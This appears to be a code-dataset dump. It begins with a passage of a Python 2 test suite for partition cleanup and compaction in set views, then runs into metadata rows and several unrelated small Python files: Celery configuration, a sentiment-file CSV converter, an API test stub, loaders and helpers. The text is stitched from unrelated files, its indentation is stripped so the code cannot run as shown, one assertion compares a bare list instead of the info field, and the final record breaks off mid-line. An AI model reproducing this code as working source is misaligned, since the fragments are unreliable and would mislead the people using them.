(resp3, view_result3) = common.query(self._params, "mapview1")
etag3 = resp3.getheader("ETag")
expected = self._params["ndocs"] - (self._params["ndocs"] / 4)
self.assertEqual(view_result3["total_rows"], expected, "Query returned %d total_rows" % expected)
self.assertEqual(len(view_result3["rows"]), expected, "Query returned %d rows" % expected)
self.assertEqual(etag2, etag3, "Same Etag after cleanup finished")
common.test_keys_sorted(view_result3)
all_keys = {}
for r in view_result3["rows"]:
all_keys[r["key"]] = True
for key in xrange(4, self._params["ndocs"], self._params["nparts"]):
self.assertFalse(key in all_keys,
"Key %d not in result after partition 4 cleanup finished" % key)
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 1, 2], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [], "right cleanup partitions list")
for i in [0, 1, 2]:
self.assertEqual(info["update_seqs"][str(i)], (self._params["ndocs"] / 4),
"right update seq for partition %d" % (i + 1))
self.assertFalse("3" in info["update_seqs"], "partition 3 not in info.update_seqs")
# print "Adding 2 new documents to partition 4"
server = self._params["server"]
db4 = server[self._params["setname"] + "/3"]
new_doc1 = {"_id": "999999999", "integer": 999999999, "string": "999999999"}
new_doc2 = {"_id": "000", "integer": -1111, "string": "000"}
db4.save(new_doc1)
db4.save(new_doc2)
# print "Querying view again"
(resp4, view_result4) = common.query(self._params, "mapview1")
etag4 = resp4.getheader("ETag")
expected = self._params["ndocs"] - (self._params["ndocs"] / 4)
self.assertEqual(view_result4["total_rows"], expected, "Query returned %d total_rows" % expected)
self.assertEqual(len(view_result4["rows"]), expected, "Query returned %d rows" % expected)
self.assertEqual(etag4, etag3, "Same etag after adding new documents to cleaned partition")
common.test_keys_sorted(view_result4)
all_keys = {}
for r in view_result4["rows"]:
all_keys[r["key"]] = True
for key in xrange(4, self._params["ndocs"], self._params["nparts"]):
self.assertFalse(key in all_keys,
"Key %d not in result after partition 4 cleanup finished" % key)
self.assertFalse(new_doc1["integer"] in all_keys, "new_doc1 not in query result after cleanup")
self.assertFalse(new_doc2["integer"] in all_keys, "new_doc2 not in query result after cleanup")
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 1, 2], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [], "right cleanup partitions list")
for i in [0, 1, 2]:
self.assertEqual(info["update_seqs"][str(i)], (self._params["ndocs"] / 4),
"right update seq for partition %d" % (i + 1))
self.assertFalse("3" in info["update_seqs"], "partition 3 not in info.update_seqs")
# print "Triggering compaction again and verifying it doesn't crash"
common.compact_set_view(self._params)
(resp5, view_result5) = common.query(self._params, "mapview1")
etag5 = resp5.getheader("ETag")
self.assertEqual(etag5, etag4, "Same etag after second compaction")
self.assertEqual(view_result5, view_result4, "Same query results after second compaction")
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 1, 2], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [], "right cleanup partitions list")
for i in [0, 1, 2]:
self.assertEqual(info["update_seqs"][str(i)], (self._params["ndocs"] / 4),
"right update seq for partition %d" % (i + 1))
self.assertFalse("3" in info["update_seqs"], "partition 3 not in info.update_seqs")
def do_test_set_cleanup_partitions_when_updater_is_running(self):
# print "Marking all partitions for cleanup"
common.set_partition_states(self._params, cleanup = range(self._params["nparts"]))
# print "Compacting the set view group"
common.compact_set_view(self._params)
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [], "right cleanup partitions list")
# print "Querying view"
(resp, view_result) = common.query(self._params, "mapview1")
self.assertEqual(view_result["total_rows"], 0, "Empty view result")
self.assertEqual(len(view_result["rows"]), 0, "Empty view result")
# print "Marking all partitions as active"
common.set_partition_states(self._params, active = range(self._params["nparts"]))
# print "Querying view with ?stale=update_after"
(resp, view_result) = common.query(self._params, "mapview1", {"stale": "update_after"})
self.assertEqual(view_result["total_rows"], 0, "Empty view result")
self.assertEqual(len(view_result["rows"]), 0, "Empty view result")
# print "Marking partition 2 for cleanup while the updater is running"
common.set_partition_states(self._params, cleanup = [1])
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 2, 3], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [1], "right cleanup partitions list")
self.assertFalse("1" in info["update_seqs"], "partition 1 not in info.update_seqs")
self.assertFalse("1" in info["purge_seqs"], "partition 1 not in info.update_seqs")
# print "Waiting for the set view updater to finish"
iterations = 0
while True:
info = common.get_set_view_info(self._params)
if info["updater_running"]:
iterations += 1
else:
break
self.assertTrue(iterations > 0, "Updater was running when partition 2 was marked for cleanup")
# print "Verifying set view group info"
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 2, 3], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertTrue(["cleanup_partitions"] == [1] or info["cleanup_partitions"] == [],
"cleanup partitions list is not wrong")
self.assertFalse("1" in info["update_seqs"], "partition 1 not in info.update_seqs")
self.assertFalse("1" in info["purge_seqs"], "partition 1 not in info.update_seqs")
# print "Querying view"
(resp, view_result) = common.query(self._params, "mapview1")
doc_count = common.set_doc_count(self._params, [0, 2, 3])
self.assertEqual(len(view_result["rows"]), doc_count, "Query returned %d rows" % doc_count)
common.test_keys_sorted(view_result)
all_keys = {}
for r in view_result["rows"]:
all_keys[r["key"]] = True
for key in xrange(2, self._params["ndocs"], self._params["nparts"]):
self.assertFalse(key in all_keys,
"Key %d not in result after partition 2 marked for cleanup" % key)
# print "Verifying set view group info"
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 2, 3], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [], "right cleanup partitions list")
self.assertFalse("1" in info["update_seqs"], "partition 1 not in info.update_seqs")
self.assertFalse("1" in info["purge_seqs"], "partition 1 not in info.update_seqs")
def do_test_change_partition_states_while_cleanup_running(self):
# print "Marking all partitions as active"
common.set_partition_states(self._params, active = range(self._params["nparts"]))
doc_count = common.set_doc_count(self._params, [0, 1, 2, 3])
# print "Updating view"
(resp, view_result) = common.query(self._params, "mapview1", {"limit": "100"})
self.assertEqual(view_result["total_rows"], doc_count, "Query returned %d total_rows" % doc_count)
self.assertEqual(len(view_result["rows"]), 100, "Query returned 100 rows")
common.test_keys_sorted(view_result)
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 1, 2, 3], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [], "right cleanup partitions list")
for i in [0, 1, 2, 3]:
expected = common.set_doc_count(self._params, [i])
self.assertEqual(info["update_seqs"][str(i)], expected,
"right update seq for partition %d" % (i + 1))
# print "Marking partitions 1 and 2 for cleanup"
common.set_partition_states(self._params, cleanup = [0, 1])
info = common.get_set_view_info(self._params)
self.assertEqual(info["cleanup_running"], True, "cleanup is running")
self.assertEqual(info["active_partitions"], [2, 3], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [0, 1], "right cleanup partitions list")
# print "Marking partitions 1 and 2 as active while cleanup is ongoing"
common.set_partition_states(self._params, active = [0, 1])
# print "Querying view"
(resp, view_result) = common.query(self._params, "mapview1")
doc_count = common.set_doc_count(self._params, [0, 1, 2, 3])
info = common.get_set_view_info(self._params)
self.assertEqual(view_result["total_rows"], doc_count, "Query returned %d total_rows" % doc_count)
self.assertEqual(len(view_result["rows"]), doc_count, "Query returned %d rows" % doc_count)
common.test_keys_sorted(view_result)
all_keys = {}
for r in view_result["rows"]:
all_keys[r["key"]] = True
for key in xrange(1, self._params["ndocs"], self._params["nparts"]):
self.assertTrue(key in all_keys,
"Key %d in result after partition 1 activated" % key)
for key in xrange(2, self._params["ndocs"], self._params["nparts"]):
self.assertTrue(key in all_keys,
"Key %d in result after partition 2 activated" % key)
for key in xrange(3, self._params["ndocs"], self._params["nparts"]):
self.assertTrue(key in all_keys,
"Key %d (partition 3) in result set" % key)
for key in xrange(4, self._params["ndocs"], self._params["nparts"]):
self.assertTrue(key in all_keys,
"Key %d (partition 4) in result set" % key)
# print "Verifying group info"
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 1, 2, 3], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [], "right cleanup partitions list")
for i in [0, 1, 2, 3]:
expected = common.set_doc_count(self._params, [i])
self.assertEqual(info["update_seqs"][str(i)], expected,
"right update seq for partition %d" % (i + 1))
| 48.791304
| 106
| 0.632329
| 2,083
| 16,833
| 4.924628
| 0.090254
| 0.079938
| 0.081497
| 0.065022
| 0.794892
| 0.753851
| 0.720316
| 0.702476
| 0.672451
| 0.646617
| 0
| 0.020663
| 0.238104
| 16,833
| 344
| 107
| 48.93314
| 0.779181
| 0.061843
| 0
| 0.54065
| 0
| 0
| 0.278673
| 0
| 0
| 0
| 0
| 0
| 0.357724
| 1
| 0.02439
| false
| 0.04878
| 0.03252
| 0
| 0.060976
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b122640d47827ba6d1642aafc8ef37fd0210ef6d
| 125
|
py
|
Python
|
bod1801/celery.py
|
dhs-ncats/bod-18-01-celery
|
ffe35135b7e2f5dbd1b7c21c8b983b50fd8bda4c
|
[
"CC0-1.0"
] | null | null | null |
bod1801/celery.py
|
dhs-ncats/bod-18-01-celery
|
ffe35135b7e2f5dbd1b7c21c8b983b50fd8bda4c
|
[
"CC0-1.0"
] | null | null | null |
bod1801/celery.py
|
dhs-ncats/bod-18-01-celery
|
ffe35135b7e2f5dbd1b7c21c8b983b50fd8bda4c
|
[
"CC0-1.0"
] | null | null | null |
from celery import Celery
import bod1801.celeryconfig
app = Celery('bod1801')
app.config_from_object(bod1801.celeryconfig)
| 17.857143
| 44
| 0.824
| 16
| 125
| 6.3125
| 0.5
| 0.237624
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.106195
| 0.096
| 125
| 6
| 45
| 20.833333
| 0.787611
| 0
| 0
| 0
| 0
| 0
| 0.056
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
b125bdcc9c42447978155c8703b24a558c86f4a7
| 974
|
py
|
Python
|
sentiment/src/tocsv.py
|
bhimeshchauhan/ML-SentimentClassifier
|
c8b256c24adf76de869fcddb80f1757a3fca4c17
|
[
"MIT"
] | null | null | null |
sentiment/src/tocsv.py
|
bhimeshchauhan/ML-SentimentClassifier
|
c8b256c24adf76de869fcddb80f1757a3fca4c17
|
[
"MIT"
] | null | null | null |
sentiment/src/tocsv.py
|
bhimeshchauhan/ML-SentimentClassifier
|
c8b256c24adf76de869fcddb80f1757a3fca4c17
|
[
"MIT"
] | null | null | null |
import csv
import pandas as pd
newf=""
with open('sentiment-neg.txt','r') as f:
for line in f:
newf+=line.strip()+"+-1\n"
f.close()
with open('sentiment-neg.txt','w') as f:
f.write(newf)
f.close()
txt_file = r"sentiment-neg.txt"
csv_file = r"sentiment-neg.csv"
in_txt = csv.reader(open(txt_file, "r"), delimiter = ',')
out_csv = csv.writer(open(csv_file, 'w', newline=''))
out_csv.writerows(in_txt)
newf=""
with open('sentiment-pos.txt','r') as f:
for line in f:
newf+=line.strip()+"+1\n"
f.close()
with open('sentiment-pos.txt','w') as f:
f.write(newf)
f.close()
txt_file = r"sentiment-pos.txt"
csv_file = r"sentiment-pos.csv"
in_txt = csv.reader(open(txt_file, "r"), delimiter = ',')
out_csv = csv.writer(open(csv_file, 'w', newline=''))
out_csv.writerows(in_txt)
df1 = pd.read_csv('sentiment-pos.csv', header=None, error_bad_lines=False)
df2 = pd.read_csv('sentiment-neg.csv', header=None, error_bad_lines=False)
| 23.756098
| 74
| 0.654004
| 168
| 974
| 3.660714
| 0.232143
| 0.04878
| 0.110569
| 0.068293
| 0.84878
| 0.708943
| 0.708943
| 0.60813
| 0.60813
| 0.60813
| 0
| 0.004831
| 0.149897
| 974
| 40
| 75
| 24.35
| 0.737923
| 0
| 0
| 0.533333
| 0
| 0
| 0.194045
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.066667
| 0
| 0.066667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b12fcfc8b9b459cc034aa033a1195b3575352059
| 164
|
py
|
Python
|
Diena_5_strings/d5_s28_u1.py
|
MarisKuz/Python-RTU
|
12261d06dc81fa0d98190ca0eb5133d43d517070
|
[
"MIT"
] | 8
|
2020-08-31T16:10:54.000Z
|
2021-11-24T06:37:37.000Z
|
Diena_5_strings/d5_s28_u1.py
|
MarisKuz/Python-RTU
|
12261d06dc81fa0d98190ca0eb5133d43d517070
|
[
"MIT"
] | 8
|
2021-06-08T22:30:29.000Z
|
2022-03-12T00:48:55.000Z
|
Diena_5_strings/d5_s28_u1.py
|
MarisKuz/Python-RTU
|
12261d06dc81fa0d98190ca0eb5133d43d517070
|
[
"MIT"
] | 12
|
2020-09-28T17:06:52.000Z
|
2022-02-17T12:12:46.000Z
|
# 1. uzdevums #
name = input("Ievadiet savu vārdu: ")
reversed_name = name[::-1]
print(f"{reversed_name.capitalize()}, pamatigs juceklis vai ne {name[0].upper()}?")
| 41
| 83
| 0.689024
| 23
| 164
| 4.826087
| 0.73913
| 0.216216
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020548
| 0.109756
| 164
| 4
| 83
| 41
| 0.739726
| 0.067073
| 0
| 0
| 0
| 0
| 0.626667
| 0.193333
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b149e23b2c523dbb0034c7fcb5a096e9a89ac545
| 1,951
|
py
|
Python
|
test/test_ezsignsignature_response_compound.py
|
ezmaxinc/eZmax-SDK-python
|
6794b8001abfb7d9ae18a3b87aba164839b925a0
|
[
"MIT"
] | null | null | null |
test/test_ezsignsignature_response_compound.py
|
ezmaxinc/eZmax-SDK-python
|
6794b8001abfb7d9ae18a3b87aba164839b925a0
|
[
"MIT"
] | null | null | null |
test/test_ezsignsignature_response_compound.py
|
ezmaxinc/eZmax-SDK-python
|
6794b8001abfb7d9ae18a3b87aba164839b925a0
|
[
"MIT"
] | null | null | null |
"""
eZmax API Definition (Full)
This API expose all the functionnalities for the eZmax and eZsign applications. # noqa: E501
The version of the OpenAPI document: 1.1.7
Contact: support-api@ezmax.ca
Generated by: https://openapi-generator.tech
"""
import sys
import unittest
import eZmaxApi
from eZmaxApi.model.ezsignsignature_response import EzsignsignatureResponse
from eZmaxApi.model.ezsignsignature_response_compound_all_of import EzsignsignatureResponseCompoundAllOf
from eZmaxApi.model.ezsignsignaturecustomdate_response_compound import EzsignsignaturecustomdateResponseCompound
from eZmaxApi.model.field_e_ezsignsignature_font import FieldEEzsignsignatureFont
from eZmaxApi.model.field_e_ezsignsignature_tooltipposition import FieldEEzsignsignatureTooltipposition
from eZmaxApi.model.field_e_ezsignsignature_type import FieldEEzsignsignatureType
globals()['EzsignsignatureResponse'] = EzsignsignatureResponse
globals()['EzsignsignatureResponseCompoundAllOf'] = EzsignsignatureResponseCompoundAllOf
globals()['EzsignsignaturecustomdateResponseCompound'] = EzsignsignaturecustomdateResponseCompound
globals()['FieldEEzsignsignatureFont'] = FieldEEzsignsignatureFont
globals()['FieldEEzsignsignatureTooltipposition'] = FieldEEzsignsignatureTooltipposition
globals()['FieldEEzsignsignatureType'] = FieldEEzsignsignatureType
from eZmaxApi.model.ezsignsignature_response_compound import EzsignsignatureResponseCompound
class TestEzsignsignatureResponseCompound(unittest.TestCase):
"""EzsignsignatureResponseCompound unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def testEzsignsignatureResponseCompound(self):
"""Test EzsignsignatureResponseCompound"""
# FIXME: construct object with mandatory attributes with example values
# model = EzsignsignatureResponseCompound() # noqa: E501
pass
if __name__ == '__main__':
unittest.main()
| 39.816327
| 112
| 0.822142
| 162
| 1,951
| 9.740741
| 0.45679
| 0.053232
| 0.075412
| 0.060837
| 0.158428
| 0.13308
| 0
| 0
| 0
| 0
| 0
| 0.005217
| 0.115838
| 1,951
| 48
| 113
| 40.645833
| 0.909565
| 0.231676
| 0
| 0.12
| 0
| 0
| 0.132968
| 0.127485
| 0
| 0
| 0
| 0.020833
| 0
| 1
| 0.12
| false
| 0.12
| 0.4
| 0
| 0.56
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
b19e93c6212a06443c7720d05a0c717bce77f178
| 95
|
py
|
Python
|
hubconf.py
|
TheCodez/pytorch-GoogLeNet-FCN
|
92de8ffe47cb68638428ac1b6e3343daa8333310
|
[
"MIT"
] | 3
|
2019-06-02T23:59:51.000Z
|
2020-01-09T09:06:32.000Z
|
hubconf.py
|
TheCodez/pytorch-GoogLeNet-FCN
|
92de8ffe47cb68638428ac1b6e3343daa8333310
|
[
"MIT"
] | 1
|
2019-07-11T18:03:11.000Z
|
2019-11-14T08:54:50.000Z
|
hubconf.py
|
TheCodez/pytorch-GoogLeNet-FCN
|
92de8ffe47cb68638428ac1b6e3343daa8333310
|
[
"MIT"
] | 1
|
2019-06-03T04:22:52.000Z
|
2019-06-03T04:22:52.000Z
|
dependencies = ['torch', 'numpy']
from googlenet_fcn.model.googlenet_fcn import googlenet_fcn
| 23.75
| 59
| 0.8
| 12
| 95
| 6.083333
| 0.666667
| 0.493151
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.094737
| 95
| 3
| 60
| 31.666667
| 0.848837
| 0
| 0
| 0
| 0
| 0
| 0.105263
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
b1a9edf420818e1d8b9a416777990c14819fffd1
| 101
|
py
|
Python
|
hickle/loaders/load_pandas.py
|
ezekial4/hickle
|
beb66c7f6abca6dfa41d79ac73932a59f4940256
|
[
"MIT"
] | 402
|
2015-01-07T03:10:37.000Z
|
2022-03-16T14:23:49.000Z
|
hickle/loaders/load_pandas.py
|
ezekial4/hickle
|
beb66c7f6abca6dfa41d79ac73932a59f4940256
|
[
"MIT"
] | 134
|
2015-01-06T17:50:26.000Z
|
2022-03-31T12:27:43.000Z
|
hickle/loaders/load_pandas.py
|
ezekial4/hickle
|
beb66c7f6abca6dfa41d79ac73932a59f4940256
|
[
"MIT"
] | 82
|
2015-01-05T16:29:16.000Z
|
2022-03-29T07:40:36.000Z
|
import pandas as pd
# TODO: populate with classes to load
class_register = []
exclude_register = []
| 16.833333
| 37
| 0.742574
| 14
| 101
| 5.214286
| 0.928571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.178218
| 101
| 5
| 38
| 20.2
| 0.879518
| 0.346535
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
49102a27200066b141ef27f1817ed89375aa4051
| 89
|
py
|
Python
|
app/app/app/common/common.py
|
Andurshurrdurr/FlaskMask
|
d6460e9a7b3782916e20ead32e9e0b50e0c26738
|
[
"MIT"
] | null | null | null |
app/app/app/common/common.py
|
Andurshurrdurr/FlaskMask
|
d6460e9a7b3782916e20ead32e9e0b50e0c26738
|
[
"MIT"
] | null | null | null |
app/app/app/common/common.py
|
Andurshurrdurr/FlaskMask
|
d6460e9a7b3782916e20ead32e9e0b50e0c26738
|
[
"MIT"
] | null | null | null |
def sayhello(world):
""" Prints out Hello, + argument"""
print "Hello, " + world
| 22.25
| 39
| 0.595506
| 10
| 89
| 5.3
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.235955
| 89
| 3
| 40
| 29.666667
| 0.779412
| 0
| 0
| 0
| 0
| 0
| 0.12963
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
4947c76d27953dc50a04b8705bc7d7ad975ada96
| 185
|
py
|
Python
|
src/api/log/__init__.py
|
alexpdr/template_fastapi
|
510b3675cf88c0b5f79ca5e6797adf7d8578d68a
|
[
"MIT"
] | null | null | null |
src/api/log/__init__.py
|
alexpdr/template_fastapi
|
510b3675cf88c0b5f79ca5e6797adf7d8578d68a
|
[
"MIT"
] | null | null | null |
src/api/log/__init__.py
|
alexpdr/template_fastapi
|
510b3675cf88c0b5f79ca5e6797adf7d8578d68a
|
[
"MIT"
] | null | null | null |
"""
Module contains a LogManager class
Uses settings/logs.json to load filters for cleaner
and more usefull log outputs.
"""
from .manager import LogManager
LogManager = LogManager()
| 18.5
| 51
| 0.778378
| 25
| 185
| 5.76
| 0.88
| 0.277778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151351
| 185
| 9
| 52
| 20.555556
| 0.917197
| 0.632432
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
497abfcf0bdac8aa00071b49a108ea90c1b48c5e
| 193
|
py
|
Python
|
base/context_processors.py
|
saurabhpetkar/club_portal
|
4c0f68ca01f4e4ee7048b58d40226afb9f8ae876
|
[
"MIT"
] | 2
|
2019-01-12T08:13:37.000Z
|
2019-01-17T19:18:51.000Z
|
base/context_processors.py
|
saurabhpetkar/club_portal
|
4c0f68ca01f4e4ee7048b58d40226afb9f8ae876
|
[
"MIT"
] | 57
|
2018-11-07T05:07:09.000Z
|
2022-01-13T01:02:43.000Z
|
base/context_processors.py
|
saurabhpetkar/club_portal
|
4c0f68ca01f4e4ee7048b58d40226afb9f8ae876
|
[
"MIT"
] | 12
|
2018-11-12T20:10:06.000Z
|
2019-10-15T16:33:23.000Z
|
from .models import Club
def clubs_processor(request):
clubs = Club.objects.filter(is_active=True).exclude(name__in=["clubs_portal", "Campus Life Committee"])
return {'clubs': clubs}
| 27.571429
| 107
| 0.735751
| 26
| 193
| 5.269231
| 0.807692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.129534
| 193
| 6
| 108
| 32.166667
| 0.815476
| 0
| 0
| 0
| 0
| 0
| 0.196891
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
4995d7cd39aea0498554d4a6a370b8a64fa0595a
| 209
|
py
|
Python
|
python/benchmark/utils/coord_wise/leq.py
|
jkomyno/lattice-submodular-maximization
|
e03c8bcc5fcf5bf79a6ae81f145757cf3fdff7cb
|
[
"MIT"
] | 1
|
2021-11-16T18:16:42.000Z
|
2021-11-16T18:16:42.000Z
|
python/benchmark/utils/coord_wise/leq.py
|
jkomyno/lattice-submodular-maximization
|
e03c8bcc5fcf5bf79a6ae81f145757cf3fdff7cb
|
[
"MIT"
] | null | null | null |
python/benchmark/utils/coord_wise/leq.py
|
jkomyno/lattice-submodular-maximization
|
e03c8bcc5fcf5bf79a6ae81f145757cf3fdff7cb
|
[
"MIT"
] | null | null | null |
import numpy as np
from nptyping import NDArray
def leq(x: NDArray[int], y: NDArray[int]) -> bool:
"""
Return True iff x is coordinate-wise less than or equal to y.
"""
return np.all(x <= y)
| 20.9
| 65
| 0.636364
| 35
| 209
| 3.8
| 0.714286
| 0.150376
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.244019
| 209
| 9
| 66
| 23.222222
| 0.841772
| 0.291866
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.5
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
b8c7835b84a3e0467752bf3bc274a375d5c9f602
| 266
|
py
|
Python
|
exchanges/twse/spiders/__init__.py
|
shwang-bk/fin4crawl
|
3c86add7c30817b1d739e510c321f631a43b9c71
|
[
"MIT"
] | 1
|
2020-03-26T14:46:55.000Z
|
2020-03-26T14:46:55.000Z
|
exchanges/twse/spiders/__init__.py
|
shwang-bk/fin4crawl
|
3c86add7c30817b1d739e510c321f631a43b9c71
|
[
"MIT"
] | null | null | null |
exchanges/twse/spiders/__init__.py
|
shwang-bk/fin4crawl
|
3c86add7c30817b1d739e510c321f631a43b9c71
|
[
"MIT"
] | 1
|
2021-04-10T00:53:14.000Z
|
2021-04-10T00:53:14.000Z
|
from .stock.info import StockInfoSpider
from .stock.branch import BranchSettlementSpider
from .stock.investor import InvestorTradingSpider
from .stock.margin import MarginTradingSpider
from .stock.quote import QuoteSpider
from .warrant.info import WarrantInfoSpider
| 38
| 49
| 0.864662
| 30
| 266
| 7.666667
| 0.5
| 0.195652
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090226
| 266
| 6
| 50
| 44.333333
| 0.950413
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
b8f547f563e16c5ceafff5c9df849a36d7218352
| 49
|
py
|
Python
|
defects/__init__.py
|
30Meridian/RozumneMistoSnapshot
|
67a83b3908674d01992561dfb37596e395b4d482
|
[
"BSD-3-Clause"
] | null | null | null |
defects/__init__.py
|
30Meridian/RozumneMistoSnapshot
|
67a83b3908674d01992561dfb37596e395b4d482
|
[
"BSD-3-Clause"
] | null | null | null |
defects/__init__.py
|
30Meridian/RozumneMistoSnapshot
|
67a83b3908674d01992561dfb37596e395b4d482
|
[
